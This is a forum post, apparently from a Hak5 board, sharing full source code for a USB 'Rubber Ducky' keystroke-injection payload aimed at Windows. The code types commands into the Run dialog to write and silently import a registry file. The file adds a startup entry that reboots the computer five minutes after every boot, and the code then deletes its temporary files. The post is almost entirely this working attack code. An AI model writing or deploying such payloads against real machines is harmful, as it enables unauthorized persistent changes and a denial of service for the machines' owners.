Jump to content

[Version 1] Rubber Ducky Restart


Recommended Posts

This code has only been tested in Windows XP running with in a virtualbox on my Linux box.

If other could give me feed back on how it runns on other systems it would be helpful.

/*
Rubber Ducky Restart
Created By Kris Occhipinti
April 27th 2010

Released under the GPLv3
http://www.gnu.org/licenses/gpl.html

Description:
This code will Edit Windows Registry to add the command that will 
restart the computer 5 minutes after it restarts
It loops every 5 second incase the code was missed the first time.

For more info Please Visit:
http://FilmsByKris.com
http://www.hak5.org/

*/
void setup() { } // no setup needed
void loop() {
  //clears any modifier keys
  Keyboard.set_modifier(0);
  Keyboard.send_now();
  delay(2000);
  
  //create tmp dir for scripts  
  run_cmd("cmd /c mkdir c:\\tmp");
  delay(200);
  
  //open note pad
  run_cmd("notepad");
  delay(500);
  
  //write reg_code
  reg_code();
  delay(500);
  
  //save code
  save_code("c:\\tmp\\sleepyducky.reg");
  delay(200);
  
  //close notepad
  close_win();
  delay(20);
  Keyboard.print("n");
  delay(200);
  
  //edit registry
  run_cmd("REGEDIT.EXE /s c:\\tmp\\sleepyducky.reg");
  delay(500);
  
  //clean up
  run_cmd("cmd /c del /s c:\\tmp /q");
  delay(5000);
}

void run_cmd(char *command) {
  
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  delay(20);
  
  // release all the keys at the same instant
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(500);
  Keyboard.println(command);
  delay(20);
}

void close_win(){
  Keyboard.set_modifier(MODIFIERKEY_ALT);
  Keyboard.set_key1(KEY_F4);
  Keyboard.send_now();
  delay(50);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(20);
}

void reg_code(){
  Keyboard.println("Windows Registry Editor Version 5.00");
  Keyboard.println("[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]");
  Keyboard.println("\"The Duck is Tired\"=\"shutdown -r -t 300\"");
  delay(500);
}

void save_code(char *file){
  //runs Save As command in notepad 
  Keyboard.set_modifier(MODIFIERKEY_ALT);
  Keyboard.send_now();
  Keyboard.print("fs");
  delay(50);
  Keyboard.set_modifier(0);
  Keyboard.send_now();
  delay(50);
  Keyboard.print(file);
  delay(50);
  Keyboard.set_key1(KEY_TAB);
  delay(50);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.send_now();
  delay(50);
  Keyboard.println("a");
  delay(50);
  
}

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...